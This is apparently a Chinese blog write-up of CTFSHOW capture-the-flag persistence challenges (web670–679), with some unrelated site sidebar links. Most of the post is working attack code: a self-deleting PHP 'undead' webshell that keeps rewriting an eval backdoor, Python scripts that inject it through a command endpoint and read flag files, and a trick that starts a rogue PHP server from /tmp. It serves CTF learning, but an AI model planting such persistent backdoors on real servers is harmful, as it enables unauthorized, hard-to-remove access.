当前位置:网站首页>CTFSHOW权限维持篇
CTFSHOW权限维持篇
2022-06-30 22:36:00 【yu22x】
web670-web676
题目在进行check后,会删掉网站根目录下的所有文件。
方法一
预测是使用的如下命令
echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *
rm -rf *
其实有个小缺陷,无法删除点号开头的文件,所以可以利用给的木马生成一个.shell.php的木马,check后还会保留。
方法二
使用反弹shell
不过题目是不出网的,所以这种方法暂时无法考虑。
方法三
可以使用不死马将木马写入内存。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
访问该不死马后,触发check,接着蚁剑连接shell.php即可拿到flag。
一键利用脚本
import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={
'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
try:
requests.get(url+'a.php',timeout=(1,1))
except:
requests.get(url+'?action=check')
r=requests.post(url+'shell.php',data={
'1':'system("cat /f*");'})
print(r.text)
web677、web678
和前面有点不同,没有写入权限(除了/tmp目录)
猜测check是先生成flag接着删掉了所有/var/www/html下的文件。
所以我们可以通过while循环持续的打开flag,当check时,页面上就会出现flag。
payloadcmd=system('while true;do cat /tmp/f*;done');
web679
check后会关闭nginx php-fpm等服务,不过我们可以利用php命令直接开启一个服务php -S 0.0.0.0:80
,哪个目录下运行该命令,哪个目录就被当作根目录。
有点类似于python开启web服务python -m SimpleHTTPServer 80
大致流程如下:
1、/tmp目录可写,在该目录下生成木马文件cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php');
2、开启web服务cmd=system('cd /tmp;php -S 0.0.0.0:80');
3、触发check
4、利用木马
但在实际使用中会发现,手动开启的web服务check后也会被停掉。
所以需要保证check后再开启web服务,也就是加个延时。
import requests
url="http://b370b8d4-cdca-40dd-a3eb-6d6d4485965a.challenge.ctf.show/"
data1={
'cmd':"system('cd /tmp;echo \"<?php eval(\$_POST[1]);?>\" > index.php');"}
r=requests.post(url+'?action=cmd',data=data1)
data2={
'cmd':"system('sleep 3;cd /tmp;php -S 0.0.0.0:80');"}
try:
requests.post(url+'?action=cmd',data=data2,timeout=(1,1))
except:
requests.get(url+'?action=check')
while True:
r=requests.post(url,data={
'1':'system("cat /f*");'})
if "ctfshow{" in r.text:
print(r.text)
break
边栏推荐
- When unittest automatically tests multiple use cases, the logging module prints repeatedly to solve the problem
- 多线程经典案例
- Tencent has been conducting advanced automated functional testing for 3 years. It is a gift to you who are confused in manual testing
- Femas: cloud native multi runtime microservice framework
- AtCoder Beginner Contest 255
- Introduction to machine learning compilation course learning notes lesson 2 tensor program abstraction
- [golang] golang实现截取字符串函数SubStr
- Nansen复盘加密巨头自救:如何阻止百亿多米诺倾塌
- leetcode:104. Maximum depth of binary tree
- Doker的容器数据卷
猜你喜欢
在线客服聊天系统源码_美观强大golang内核开发_二进制运行傻瓜式安装_附搭建教程...
Where can I find the computer device manager
latex中 & 号什么含义?
[无线通信基础-13]:图解移动通信技术与应用发展-1-概述
腾讯3年,功能测试进阶自动化测试,送给在手工测试中迷茫的你
多线程经典案例
深入解析 Apache BookKeeper 系列:第四篇—背压
十个最为戳心测试/开程序员笑话,念茫茫人海,该如何寻觅?
理想中的接口自动化项目
Redis' cache penetration, cache breakdown and cache avalanche
随机推荐
Yolo target detection
What are database OLAP and OLTP? Same and different? Applicable scenarios
Introduction to machine learning compilation course learning notes lesson 2 tensor program abstraction
软件测试报告包含哪些内容?如何获取高质量软件测试报告?
[450. delete nodes in binary search tree]
MIT博士论文 | 优化理论与机器学习实践
Failed to configure a DataSource: ‘url‘ attribute is not specified and no embedded datasource could
How does win11 optimize services? Win11 method of optimizing service
2022-06-30: what does the following golang code output? A:0; B:2; C: Running error. package main import “fmt“ func main() { ints := make
实现多方数据安全共享,解决普惠金融信息不对称难题
latex中 & 号什么含义?
[golang] golang implements the string interception function substr
The Sandbox 正在 Polygon 网络上进行部署
latex字母头顶两个点
What does the &?
During telecommuting, the project team punched in the wechat group | solicited papers from the community
B_ QuRT_ User_ Guide(31)
B_ QuRT_ User_ Guide(35)
[无线通信基础-13]:图解移动通信技术与应用发展-1-概述
部门新来了个阿里25K出来的,让我见识到了什么是天花板